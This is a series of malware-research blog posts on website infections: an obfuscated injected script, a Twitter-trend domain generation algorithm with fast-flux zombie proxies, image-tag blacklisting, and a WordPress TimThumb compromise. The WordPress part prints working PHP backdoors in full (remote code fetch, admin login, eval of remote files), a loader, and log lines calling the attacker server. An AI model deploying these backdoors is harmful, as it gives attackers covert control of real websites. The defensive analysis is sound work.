• Each domain was in use for a few hours only
• The next domain names would become available just a few hours before the malicious scripts on hacked sites begin to use them.

Since 2009, I’ve seen many revisions of that attack. It has never been the most prevalent issue but as far as I can tell it constantly evolves and mutates. The recent update of the malicious script injected by this attack looked quite interesting and I decided to find out what has changed since late 2009.

Malicious scripts

First of all, here’s the malicious script that was used in December (full version)

(function($$){qq2=[8,0,26,0,11,81,29,0,26,...skipped...87,73,78];qq21=[68,79,87,27,0,9,...skipped...39,7,9,10];function co(){return 'Code';}function gafu(){return a(String,'f'+ro()+co());}qq3=[94,39,7,9,10,94,...skipped...76,73];qq31=[84,8,7,7,0,19,...skipped...0,16,27,54];d='';mapper=[3,32,54,56,64,...skipped...24,0,25,0,26,0,27];map='';function fs(ro,arr,add){for(var i=0;i<arr.length;i++){ro+=String.fromCharCode(arr[i]+add);}return ro;}d=fs(d,qq2,32);d=fs(d,qq21,32);d=fs(d,qq3,32);d=fs(d,qq31,32);map=fs(map,mapper,32);function a(b,c){return b[c];};function ro(){return 'romChar';}for(c=55;c;d=(t=d.split(map.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(fun ction(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});

It was a long obfuscated one-line script with long sequences of numbers. More or less, this is what those scripts always looked like. One line of a long obfuscated code, usually at the very bottom or very top of the HTML code of infected web pages.

On PHP sites, this script was injected in a form of an obfuscated PHP code (full version):

ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD4oZnVuY3Rpb24oJ...skipped...Sk7PC9zY3JpcHQ+');}

Quite a typical base64_decode obfuscation trick, although disguised by the security_update function name to make this code look more legitimate.

January 2012 code mutation

However in January, the code changed (it is still detectable by Unmask Parasites). Besides some algorithmic changes, the malicious script now consists of 78 lines of code generously sprinkled with comments in Latin!!! Here you can see the full version.

(function($$,_2,_1) {
function qq2(){return [89,75,80,70,81,89,16,73,78,81,...skipped...11,93,2,29,13,10,13,96,71,2,18,29,56];}
function co() { return 'Code';}
...skipped...
mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2...skipped...27,2,28,2,29];
map = '';
function fs(ro, arr, add, st, en,dp) {
//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem
...skipped...
//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis
...skipped...
//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi
...skipped...
//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland
...skipped...
//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur
...skipped...
})(function(jsBb) {
return (function(jsB, jsBs) {
return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()
})((function(jsB) {
return jsB.constructor
}), (function(jsB) {
return (function(jsBs) {
//accumsan dapibus diam
...skipped...
});
/**/
gloa();

For some reason, hackers thought that comments in Latin would make their code look more legitimate, more reputable. But for me, the Latin comments were like a huge alert message — who would want to use Latin in JavaScript comments? It just doesn’t make sense.

Lorem Ipsum

Moreover, after some inspection, the Latin text appeared to be a random mixture of word from the classic “Lorem Ipsum” text. This text is used as a placeholder text in publishing and graphic design to have people focus on the visual presentation of elements rather than reading the text. But I doubt someone cares about visual presentation of a normally invisible html code and there is no point in providing comments if they are unreadable.

Making the attack sustainable

Anyway, this change in the formatting of the malicious script was probably one of the multiple tricks that aimed to improve the whole sustainability of the attack. In this case, they changed the code so that it doesn’t resemble a typical malicious script with a single line of an obfuscated code. The goal is to increase the infection period (time before a webmaster identifies the source of a problems and removes the script).

However malicious scripts on infected web pages is not the only thing that contributes to success of an attack. Most drive-by attacks rely on some third-party malicious sites where malware is being actually loaded from. Such sites have domain names and IP addresses that can be easily blacklisted by antivirus software, browsers and firewalls — this can significantly affect the attack performance. Moreover, authorities can suspend offending domains and request hosting providers to shut down malicious sites and whole servers. This attack uses several interesting solutions to address such threats.

Generating domain names on the fly

To avoid blacklisting, hackers have to frequently change domain names of their malware distributing websites. This particular attack rather than regularly updating injected scripts to use new links to malware sites, uses Twitter API (trends) and a clever algorithm to generate new pseudo-random domain names of attack sites on the fly.

It’s a new version of the algorithm that I described two years ago. Here’s an overview of this new algorithm.

1. It uses Twitter API (http://api.twitter.com/1/trends/daily.json) to get a list of trending topics that were hot two days ago.
2. Depending on the current time, it extracts the fourth topic from the list of trends for one of the following hours: 01:00, 07:00, 13:00 or 19:00 (in some rare cases they may use 02:00, 08:00, 14:00 or 20:00)
3. The extracted trending topic is used as a key in a domain name generating algorithm.
4. The algorithm just returns a permutation of characters in the key and uses the first 10-13 of them as a new domain name.
5. To address edge cases where a trending topic is less than 10 characters long and to improve the random nature of permutations, they append the word “microscope” to the trending topic before applying the algorithm.
6. As a result, the algorithm generates domain names like: dgeocanyaf .com, ocooecunrpbn .com, snrrstrcocri .com (more domain names here), that change every 6 hours. The attackers have almost two days to register them (they register them just a few hours before the use though).
7. Then the script builds a URL of a malicious page, adding the “/index.php?tp=001e4bb7b4d7333d” path to the generated domain names. The resulting URL is used to create an invisible iframe that pushes exploits to web browsers of people who visit infected web pages.

The benefit of this approach is the attack can easily survive if some domain is blocked or unavailable for some reason — it only means not more than 6 hours of downtime. On the other hand, if someone reverse engineers the algorithm (like I did) they can use the same algorithm to blacklist or sinkhole the domain names before they become malicious.

So what’s new comparing to that two year old version of the attack?

The main differences from the previously described algorithm, are:

1. Hardcoded year 2012. This proves that the attack is still active and the attackers don’t want to abandon this Twitter based approach to generate domain names.

2. Instead of just 2 domains, they generate and use 4 new domains every day, and change them every 6 hours.

3. The domain generating algorithm no longer uses predefined suffixes for the generated domains. They used to have 12 month-specific predefined suffixes that helped easily identify the attack when you knew where the infected page tried to load the malicious content from. The current algorithm generates completely random domain names that don’t have any easily identifiable parts that can help classify them as belonging to this attack.

Online Demo

To show how this domain generating algorithm works, I’ve create an online tool that uses the same algorithm to predict malicious domains in real time. It shows 4 today’s malicious domains and predicts 4 domains that should be used by the attack tomorrow (more or less, depending on your time zone).

To make it more informative, I’ve provided two links for each domain name

1. Whois — to show whether the domain is registered and if it is then show who and when registered it (in most cases you’ll see the current date)
2. Google’s Safe Browsing diagnostic — to show whether Google has already picked up the malicious domain (this usually happens by the end of the 6-hour lifespan of that domain)

Just to make this tool a little bit less boring, each domain name is accompanied by a corresponding Twitter trending topic that was used to generate that domain name.

For example, as I write this article on January 25th, the current malicious domain is “dgeocanyaf .com” and the corresponding Twitter trending topic from January 23rd is “Happy Year of the Dragon“. The domain was registered on January 25th, 2012 and Google already lists it as suspicious.

The upcoming malicious domain is “epljsxiomccg .com” and the corresponding Twitter topic is “Judge Alex“. The domain is already registered but Google doesn’t list it as suspicious (no wonder – it is not active yet).

The first predicted domain for January 26th (GMT time zone) is “mrrcatsphmoin .com” and the corresponding trending topic from January 24th is “Mr. and Mrs. Smith“. This domain is not registered yet (it should be by the time when you read this article) and Google doesn’t know about it yet.

If you are interested in the code of the algorithm, you can check the source code of the web page of this online tool.

OnlineNIC Domain Resellers

If you analize the Whois information for those domains, you can see that they all have been registered via OnlineNIC Inc. To register domains, the attackers used a few supposedly fake accounts – all of them marked as “reseller“.

So what does it mean to be an OnlineNiC’s domain reseller?

1. Anyone can register to be a reseller. The prices begin from $94 of prepayment (you can use them later to purchase domains).

2. OnlineNIC provides “an API/template system to make it a snap for you to get started. In a matter of minutes, you can easily integrate private-labeled real-time domain name registration services right into your own Web site!”

So what is that API? According to the documentation: “The application program interface (API) is a set of routines and criterion and protocols by OnlineNIC. … It makes you and your client easier to
complete products purchase, management, and info-query and so on via API.”

Here are just a few things that this API allows to do:

• Check domain availability
• Register domain
• Create Name Servers
• Update domain Name Servers

So, resellers can use this API to create a program that will automatically purchase and manage domains. That’s a perfect solution for this attack, isn’t it?

DNS-DIY

The reseller account comes with free DNS-DIY DNS service that allows to manage A records and customize Name Servers (“Add the domain which you are using as dns at www.DNS-DIY.net, then create CNAME Records for ns1.yourcompany.com and ns2.yourcompany.com so that they can be pointed to ns1.DNS-DIY.net and ns2.DNS-DIY.net.” – that’s why you can see ns(1|2).malicious-domain.com as Name Servers of those malicious domains in Whois) There should be no surprise that DNS-DIY has an API too — so all operations can be automated.

Zombie-computers as fast flux hosting

The DNS-DIY API is used for a good reason. Not only do the attackers need it to initially configure new domains to point to certain servers, but they also use it to avoid taking down the malware distributing servers.

This attack uses a technique called Fast flux hosting (if I use this term correctly). Here’s how it works.

When the attackers register a new domain, they create two A records for each domain. This means that each domain points to two different IPs and it’s up to your DNS software which of them to use.

These two A-records help achieve two goals:

• load balancing – the traffic is split between two servers
• if one server is shut down or unavailable for some reason, the other server will still be processing requests.

However, it is not the most interesting thing in the fast-flux scheme. After all, the second server can be shut down too. The most interesting thing is how the attackers choose which two IPs to use in A records.

The thing is the IP addresses in the A records change every 6 hours, the same way as they change the domain names used in this attack.

Here is a list of 120 unique IP addresses that I collected over the last few days (not only did they use them for new domains but also updated A records of some older domains). The analysis of those IPs shows that they all belong to IP blocks of cable, broadband and even wireless ISPs from all around the world:

• Australia Melbourne Telstra Internet
• Austria Linz Liwest Kabelfernsehen Errichtungs- Und Betriebs Ges.m.b.h
• Austria Vienna Oebb Telekom Service Gmbh
• France Paris Free Sas
• Germany Kabel Deutschland Breitband Service Gmbh
• Germany Leipzig Primacom Berlin Gmbh
• Italy Chieti Telecom Italia S.p.a
• Italy Telecom Italia Mobile
• Netherlands Amsterdam Upc Broadband Operations B.v,
• Netherlands Barneveld Matrix Pc B.v
• Philippines Makati Pldt
• Poland Telewizja Kablowa Kolobrzeg Agencja Uslugowo – Reklamowa Sp. Z O.o
• United States Richmond Comcast Cable Communications Inc
• United States Houston AT&T Internet Services
• United States Kyle Road Runner Holdco Llc
• Venezuela, Bolivarian Republic Of Barquisimeto Internet Cable Plus C. A,
• and many more …

This proves that instead of real web servers, the malicious domains point to infected computers of normal web surfers, so called bots or zombie-computer. This approach is not new. For example, two years ago I described how Koobface used web servers on infected PCs.

Nginx reverse proxies

If you check HTTP header of responses from the malicious sites, you’ll notice that they all have the same “Server: nginx/0.7.65; X-Powered-By: PHP/5.3.2-1ubuntu4.10” headers.

Although the headers suggest that the remote computer runs Ubuntu Linux distribution, it is hard to believe that hackers found so many vulnerable Ubuntu workstations all over the world connected to the Internet via regular ISP services. Moreover, they all have the same versions of Ubuntu, PHP and Nginx.

The answer to this is Nginx. This is a popular web server known to easily handle large volumes of traffic. It is popular within cyber criminals both for its ability to reliably work under heavy load and for it’s reverse-proxy feature that helps to hide the real malware distributing server behind the layer of proxies.

The most probable scenario

Cyber criminals have a program on a C&C (command and control) server that is scheduled to do the following things:

1. Use their domain generating algorithm and the OnlineNIC API to register a new domains.
2. Then ping their botnet and identify a few zombie-computers with reliable Internet connections and public IP addresses.
3. Using the DNS-DIY API, setup DNS records for the new domain. Specifically create two A records that point to two zombie-computers selected in the step 2.
4. For some older domains, update A records with new IPs selected in the step 2.
5. For more old domains, remove one A record and point the other to 127.0.0.1 or remove it altogether (dispose of the domain)
6. There is an Nginx web server on every zombie-computer. (There is a Windows version of Nginx) that processes requests to malicious URLs (hxxp://malicious-domain .com/ index.php?tp=001e4bb7b4d7333d)
7. Nginx servers on zombie-computers work in a reverse proxy mode. They transmit every request to some remote server that actually distributes the malware and then return that server’s response back to clients (in our case to web browsers that loaded infected web pages). The “PHP/5.3.2-1ubuntu4.10″ header is actually from that remote server (reverse proxies pass most headers from the proxied servers).

Counter measures

It is clear that the attack constantly evolves and changes but given its current state it is possible to identify its weak sides and suggest some counter measures.

1. Hijack the domain generating algorithm. Interested parties can blacklist domains before they turn malicious (or at the very moment) or register them before the criminals do it. Of course, the algorithm will change, but it doesn’t take long to reverse engineer it and it will take quite some time for hackers to update their infrastructure to use a new algorithm and update the malicious code on all infected web pages.
2. Have OnlineNIC close the reseller accounts that the cyber criminals used for registering those domain names. If you check the Whois records of the domains, you’ll see that they were registered using the same few accounts (some of them). Of course, it is possible to register new reseller accounts, but if OnlineNIC agrees to cooperate, it will be easy to close rogue accounts as soon as they begin register new malicious domains. It is clear, that the attack infrastructure relies on APIs of OnlineNIC and DNS-DIY, so if they can’t use them it may disrupt the attack.
3. Don’t let the parasites use your resources. Keep your computers and websites malware-free.

I can’t tell for sure how exactly the malicious code is being injected into legitimate web pages (I couldn’t find webmasters of infected sites who would want to help me in my investigation :( ), but I see some signs that the attack could use stolen FTP credentials. If this is true, webmasters should thoroughly scan they computers for malware, change all site passwords (and refrain from saving them in FTP clients) and then remove the malicious code from files on server.

##

Additional information and your comments are welcome.

Similar posts:

• Hackers Use Twitter API To Trigger Malicious Scripts
• Twitter API Still Attracts Hackers
• How Criminals Defend Their Rogue Networks – abuse.ch
• Introduction to Website Parasites

Video highlights:

1. Use Safe Browsing diagnostics — false positives are very unlikely
   http://www.google.com/safebrowsing/diagnostic?site=<your-site-URL-here>
   
   • The problem might have been caused by a third-party content (ads, widgets) that you use on your site
   • But in most cases the problem is in the malicious content/behavior added by hackers.
2. Malware review via Google Webmaster Tools.
   • prove ownership
   • use the  Diagnositics -> Malware section for information on malware issues (e.g. examples of URL were malware was found, and samples of the found malicious content)
   • Once you fix the problem, click on the “request a review” link — your site will be reviewed during the next few hours.
3. Fetch as Googlebot. – useful tool to diagnose security problems when hackers hide malicious content from normal human visitors and only show it for search engine spiders (cloaking) — this is quite a prevalent type of website hacks (part of massive Black Hat SEO campaigns).
4. .htaccess — is a popular target of website hacks. For example, hackers can add conditional rules to redirect all search engine traffic to a third-party website.
5. SQL-injections — another trick where hackers can exploit bugs in web applications that fail to properly sanitize user input — as a result, malicious content can be injected into site’s database.
6. Finding malware may be tricky.
   • Don’t only check the source code of your web pages. Check what browsers receive from your web server (both the page code and the HTTP headers).
   • You might want to play with different scenarios. Warning: please use specialized tools and do it only in a controlled sandboxed environment, otherwise malware may infect your computer.
     • direct visit
     • visit from a search engine
     • visit with clean cookies (first time visit)
     • visit using different browsers (IE, Firefox, Chrome)
     • visit from from different IPs and countries
7. Keep your system up to date.
8. Change passwords.
9. Unmask Parasites :) -  Matt called this site a “really useful place to talk about all the different attacks that are currently going on”.

It has been a while since the last Tweet Week. The main reason is I don’t tweet that often now to post my tweets every week and I don’t want to post old news here either.

So what happened? The answer is I can’t get used to Twitter web interface – it is so inconvenient. I had to use it when I had some strange problems with my Twitter client (twhirl). Thank’s god, I’ve finally made my twhirl work so I hope I will be able to tweet more often.

Anyway, here are some of the latest tweets.

November 15, 2011

[h-online] Joomla! updates close security holes – attackers can change Joomla passwords. Upgrade ASAP

[seoarmada com au] Webmaster’s story about how the recent WordPress attack affected his four sites

November 9, 2011

Unmask Parasites is on Google+ now — I’ll post things that are too long for Twitter and too short for blog

November 3, 2011

[TheRegister] Thousands of WordPress sites commandeered by Black Hole — not sure why it mentions my older article (G+)

November 2, 2011

Google will selectively crawl resources behind POST requests

October 31, 2011

RT @stopbadware: In May, @unmaskparasites discussed canonical hacks on our blog. Google announces protection today.

October 30, 2011

Mozilla updated my “Readable SafeBrowsing” extension to v0.2.5. — if you use FireFox and read SafeBrowsing diagnistic pages

October 26, 2011

[h-online] MyBB downloads were infected — download package for MyBB v1.6.4 contained a backdoor

October 21, 2011

[armorize] “jighui /urchin.js” script injection on ASP.NET sites. — Did hackers confused Breton with Brazilian?

If you want more real-time experience, you can follow @UnmaskParasites on Twitter or circle Unmask Parasites on Google +.

Related posts:

• Previous Tweet Weeks

<img src="http://example .net/images/logos/rssicon.png" />

So why did Google think this image tag was malicious? Can images be malicious? After all they are not scripts, iframes or embedded executable objects that that hackers use to attack web surfers.

It turns out, images can really make Google blacklist your site. In that particular case, the image was from a third party site and it was (as its name suggests) just an RSS icon. A normal legitimate file. The only problem was the third party site got hacked and attackers modified its .htaccess file to redirect search traffic to malicious sites (like here). Subsequently, that “example. net” got flagged by Google.

Cross-site warnings

Sometimes it’s enough for your site just to load something from a blacklisted site to get a warning. For example, Google Chrome has so called “cross-site warnings“. When you open a website that is not currently blacklisted, Chrome can detect (in real time) that a page loads something (usually scripts or iframes) from a known blacklisted site. In this case you will see the infamous red malware warning. The only difference from a normal warning will be the words that “website at <your website> contains elements from the site <third party site>, which appears to host malware…“.

These cross-site warning only (reliably) work in Google Chrome. And since websites that contain elements from malicious site are not blacklisted at the moment, there will be no malware warnings in Webmaster Tools (until Google discovers malware on your site). So the webmaster couldn’t find that code in Webmaster Tools if that was just a cross-site warning.

Broken links can be dangerous too

Let’s get back to that hacked site. It’s .htaccess file also contained rules to redirect all erroneous requests (e.g. requests with error codes 404 Not Found, 400 Bad Request, 401 Unauthorized, 403 Forbidden and 500 Internal Server Error ) to malicious sites. In our case, that rssicon.png file was missing for some reason, thus requests to this file returned the 404 error code and got redirected to a bad site.

So every time when someone loads a page with that img tag, behind the scenes, one browser request goes to a malicious site. This is probably what Google malware scanners detected and this was the reason for flagging that website with the rssicon.png img tag.

Images in third party widgets

Another real world example is the current problem with Blogger blogs that use some fishy “page views counter widget” from bloggerwidgets .cz .cc. Google says, this site has infected 169 blogs.

All infected site has the following “counter widget” code
<img src="http://forums .bit-tech .net/images-light/misc/stats.gif" alt="" width="16" height="16" />
<img src="hxxp://demo .bloggerwidgets .cz .cc/counter2.php?page=xxxxxxxxxxxxxxxxxxx&amp;digit=4" alt="counter" />

As you can see, this code loads an image from demo .bloggerwidgets .cz .cc. I guess it is supposed to display views count. However, the “bloggerwidgets .cz .cc” domain seems to be discontinued and now redirects all requests to a scam site.

Are those images malicious?

Can those images from hacked/redirecting sites be really dangerous for visitors to a site that embeds the images via an <img> tag? Well, I think such tags are “mostly harmless” ;) Modern browsers seem to correctly handle such redirections and simply don’t process server responses in unsupported formats (the malicious redirect returns some HTML code where an image is expected). But who knows, maybe some older browsers under certain conditions may misinterpret the scope of the redirection and navigate a browser to a bad site (after all this is what browser exploits are all about — they allow to do undocumented stuff).

To webmasters

Anyway, whats’ more important for webmasters is that image tags can really be the source of malware warnings.

So here are some basic tips on how to deal with such situations:

1. Where possible, don’t use images and other resources (e.g. scripts, objects, etc) from third-party sites. You might want to copy the files to your own server (if their license permits this).

2. If you have to embed resources from third party sites (counters, widgets, ads), check how trustworthy and reputable they are (e.g. compare Facebook widget and the “bloggerwidgets .cz .cc” widget).

3. If Google blacklists your site and mentions some <img> tag as the source of the problem, you should remove that tag (or replace the image with some placeholder with similar dimensions to preserve page formatting) from all pages and then request a malware review via Google Webmaster Tools.

4. In case you don’t see any samples of malicious code in Webmaster Tools (for example, if you haven’t registered your site with Webmaster Tools yet) you might want to check Google’s Safe Browsing diagnostic page for your site:

http://www.google.com/safebrowsing/diagnostic?site=example.com

Just replace “example.com” with your site domain.

On the diagnostic page, check domains mentioned in the “What happened when Google visited this site?” section. If your site links to some images on those domains you need to remove them before requesting a malware review.

5. If you really want to use those images on your site, you should contact the owners of the sites they reside on and ask to clean them up and have Google unblock them. Once those third party websites are clean you can link to their images again.

Note, the above instructions only apply to situations when Google blacklists your site because of the <img> tags that you added to your site yourself. If you find some image tags or other HTML code that don’t belong to your site and you never added them yourself, this will be a whole different story that requires different remediation steps (for example, the most important step will be to figure out how that alien code was injected into your web pages.)

Related posts:

• Practical Guide to Dealing With Google’s Malware Warnings
• Htaccess Redirect to Example.ru/dir/index.php
• Readable SafeBrowsing Add-on for Firefox 4+
• Introduction to Website Parasites

If you don’t have time to read the whole article, you can head directly to the short description of the attack and then to the Summary section where I talk about what’s new, strange and uncommon in this attack. Or if you are a webmaster of a hacked blog, go to the “To Webmasters” section – it will help you resolve the problem.

According to Unmask Parasites statistics and the help requests I received this weekend, we have a new prevailing website infection that affects WordPress blogs.

Google specifies “nl.ai” as the source of the problems and currently reports 8,526 infected domains (and given the limited coverage of Google’s data we can safely estimate at least 30,000 infected blogs)

A typical Safe Browsing diagnostic page say something like this:

Malicious software is hosted on 1 domain(s), including nl.ai/.

or

Malicious software is hosted on 3 domain(s), including hdghd.c0m.li/, hdghdg.c0m.li/, hdfhfd.c0m.li/.

The infection is detectable by Unmask Parasites.

Malicious content

Typically, in the <head> section of web pages, you will find a script that looks like this:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a...skipped...werCase|opera|webtv||setTimeout|windows|http|userAgent|1000|jnhfj|navigator|ai|showthread|php|72241732'.split('|'),0,{}))

Here is the decoded variant:

function MakeFrameEx(){element=document.getElementById('yahoo_api');if(!element){var el=document.create Element('iframe');document.body.append Child(el);el.id='yahoo_api';el.style.width='1px';el.style.height='1px';el.style.display='none';el.src='hxxp://hgdhgd .nl .ai/showthread.php?t=72241732'}}var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1){var t=setTimeout("MakeFrameEx()",1000)}

In the very beginning, you can see an additional layer against admins who are curious enough to decode the script but too naive to believe it’s a legitimate code that uses Yahoo API ;-) .

But if you read further, you will see the code that injects a hidden iframe to Internet Explorer browsers. In this particular case, the iframe load malicious content from hxxp://hgdhgd .nl .ai/showthread.php?t=72241732.

Hackers regularly update the malicious script on compromised sites to change the iframe URL. Here are just a few URLs that I’ve seen during this weekend.

• hgdch .nl .ai/showthread.php?t=72241732
• juyfdjhdjdgh .nl .ai/showthread.php?t=72241732
• kjgfg .nl .ai/showthread.php?t=72241732
• jnhfj .nl .ai/showthread.php?t=72241732
• hzdgh .nl .ai/showthread.php?t=72241732
• hgdhgd .nl .ai/showthread.php?t=72241732
• hjbh .nl .ai/showthread.php?t=72241732
• hgdfhd .coom .in/showthread.php?t=72241732
• unter .myz .info/showthread.php?t=72241732
• gdasgdsa .c0m .li/showthread.php?t=72241732
• jopek .fr .nf/showthread.php?t=72241732

All these domains point to the same server in Russia: 95 .163 .66 .209. Or later to 178 .18 .87 .141

By the way, new exotic TLDs are getting popular within cyber criminals: .ai (Anguilla), .li (Liechtenstein) and .nf (Norfolk Island)

How the attack works

Short version

1. Malicious hackers exploit a vulnerability in WordPress themes and plugins (I suspect the TimThumb vulnerability) to upload a backdoor file.
2. They use the backdoor file to plant another backdoor code into wp-config.php
3. They pass a specifically crafted code in requests to compromised blogs. Among other things, that code creates the /tmp/wp_inc file with a malicious JavaScript.
4. In wp-settings.php they create a functions that loads the content of /tmp/wp_inc into the head section of WordPress pages.

Detailed attack description

Although the TimThumb vulnerability has been discovered more than three months ago and has been patched since then, it remains the most exploitable security hole in WordPress. Hundreds of themes and plugins use this thumbnail utility and it’s hardly possible to upgrade them all (and all the blogs that use them) in three months. At the same time, webmasters of compromised blogs usually remove the malicious code from web pages and update timthumb.php but fail to find and remove all uploaded backdoor file — so even with the new TimThumb, their blogs remain vulnerable to subsequent attacks.

Backdoors

So step #1: Hackers upload a backdoor file to your server. This could happen a few days ago or a couple of months ago. In either case, hackers have access to your site now.

For example, on one infected server, I found the following upd.php file in the wp-content directory

<?php
$file = $_GET['file'];
$pass = $_GET['pass'];
$true = 'c0c7c76d30bd3dcaefc96f40275bdc0a';
if ($pass == $true){
$ch = curl_init($file);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$shell = curl_exec($ch);
curl_close($ch);
$tmp = md5(rand(0,10000));
$f = fopen($tmp.'.php',"w");
fputs($f,$shell);
fclose($f);
header("Location: $tmp.php");
}
?>

wp-config.php

This is the first WordPress hack where I see a backdoor code injected into the wp-config.php file. It may be difficult to spot it. Hackers use the same trick that we usually see in tainted .htaccess files: at the very bottom of wp-config.php they add a couple of thousand blank lines, then the following code and then another couple of thousand blank lines.

if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == 'd67d8ab4f4c10bf22aa353e27879133c'){
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
}
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}
if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}

Here you can see three main actions that can be completed using this backdoor code:

1. Log into your WordPress blog as admin (pingnow=login)
2. Copy a remote file to your server and open it in a browser (pingnow=exec)
3. Execute a php code from a remote file (pingnow=eval)

Here are typical requests to that backdoor in wp-config.php

91.196.216.20 - - [04/Nov/2011:06:47:24 -0600] "GET /?pingnow=eval&file=hxxp://91.196.216.20/collect/ping.txt&pass=d67d8ab4f4c10bf22aa353e27879133c HTTP/1.1" 200 162 "-" "-"
91.196.216.20 - - [04/Nov/2011:06:47:26 -0600] "GET /?pingnow=eval&file=hxxp://91.196.216.20/collect/parse.txt&pass=d67d8ab4f4c10bf22aa353e27879133c&key=inurl%3Aajaxfilemanager+jnq HTTP/1.1" 200 981 "-" "-"
91.196.216.20 - - [04/Nov/2011:06:49:41 -0600] "GET /?pingnow=eval&file=hxxp://91.196.216.20/tt.php&pass=d67d8ab4f4c10bf22aa353e27879133c HTTP/1.1" 200 162 "-" "-"

GET requests to backdoors? Hmm…

Note that requests come form the IP address 91 .196 .216 .20. Remote files also reside on that server. This IP is already known for other WordPress hacks that used the TimThumb vulnerability.

Ping

The first request evaluates code from the remote /collect/ping.txt file. Basically it should only print the “‘okey’” message — this means the backdoor code is still there.

Distributed Google search

The /collect/parse.txt request is more interesting. Here’s the PHP code of parse.txt.

$key = trim($_GET['key']);
for($i=0;$i<10;$i++){
$st = $i * 100;
$url = 'http://www.google.com/search?q='. urlencode($key).'&num=100&start='.$st;
echo "$url\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$head = curl_exec($ch);
curl_close($ch);
preg_match_all('/href=(\'|\")http:\/\/(\S*)(\"|\')/', $head, $page_links, PREG_PATTERN_ORDER);
$res = $page_links[2];
foreach($res as $itogo){
if (strpos($itogo, 'google') === false) {echo "http://$itogo\n";}
}
}
exit();

These requests conduct Google searches and display up to 1,000 search results. In the above logs, they searched for [inurl:ajaxfilemanager jnq]. That search can return links to websites that have an exploitable ajaxfilemanager vulnerability.

So why do they search using hacked sites? The answer is they need thousands of results for hundreds of searches (Google dorks). This amount of search results can only be retrieved using automated tools. But Google forbids automated requests and usually blocks offending IPs after a few dozens of such requests. The workaround is to search from multiple IPs (distributed search). So if they have access to compromised sited on 1,000 of unique servers and each IP can be (temporarily) blocked after say 10 queries (usually more) then hackers can expect to retrieve up to a million search results every days.

/tmp/wp_inc

Now the main tt.php request:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'hxxp://91 .196 .216 .20/eu_deb');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch,CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$z = curl_exec($ch);
curl_close($ch);
$t = sys_get_temp_dir();
$f = fopen($t.'/wp_inc',"w");
fputs($f,$z);
fclose($f);
if (file_exists($t.'/wp_inc'))
{
echo ('test');
}
exit();

This code downloads the hxxp://91 .196 .216 .20/eu_deb file and copies its content into the wp_inc file in the system’s temporary directory (usually /tmp).

During this past weekend, the eu_deb file contained the malicious “eval(function(p,a,c,k,e,d)…” script. Then its content changed. Right now I can see an HTML code with a hidden link to a doorway on another hacked WordPress blog:

<form method="post" action="?" style="overflow: auto; width: 5pt; height: 1pt; position: absolute; display:none"><A HREF="hxxp://businessactionforafrica .org/?kids" TARGET="_self">kids clothes</A></form>

As you can see, the tt.php requests to the backdoor code updates the injected malicious content. This is how hackers changed the script on infected blogs and this is why most of the infected blogs became “clean” overnight without any action taken by their webmasters (hackers just replaced the malicious script with the spammy link).

wp-settings.php

OK, the malicious content is in the /tmp/wp_inc file. But how does it make it into WordPress pages? To do it, hackers modify the wp-settings.php file where they add the following code:

function check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . '/wp_inc')){
readfile($t_d . '/wp_inc');
}
}
add_action('wp_head', 'check_wordpress');

You can see the rogue “check_wordpress” function that loads the content of the /tmp/wp_inc file. It is “hooked” to the “wp_head” action. In other words, this function is executed every time when WordPress builds the header part of WordPress pages.

To Webmasters

Detect

Most of you will only detect this problem when Google blacklists your site. Check the diagnostic page. If Google mentions “nl.ai” as the source of the problem then the chances are it’s the infection covered in this post. Keep on reading.

Now that the attackers replaced the injected code with some spammy links, Google will no longer flag your site for malware. So you still need to be able to figure out whether your blog is compromised or not.

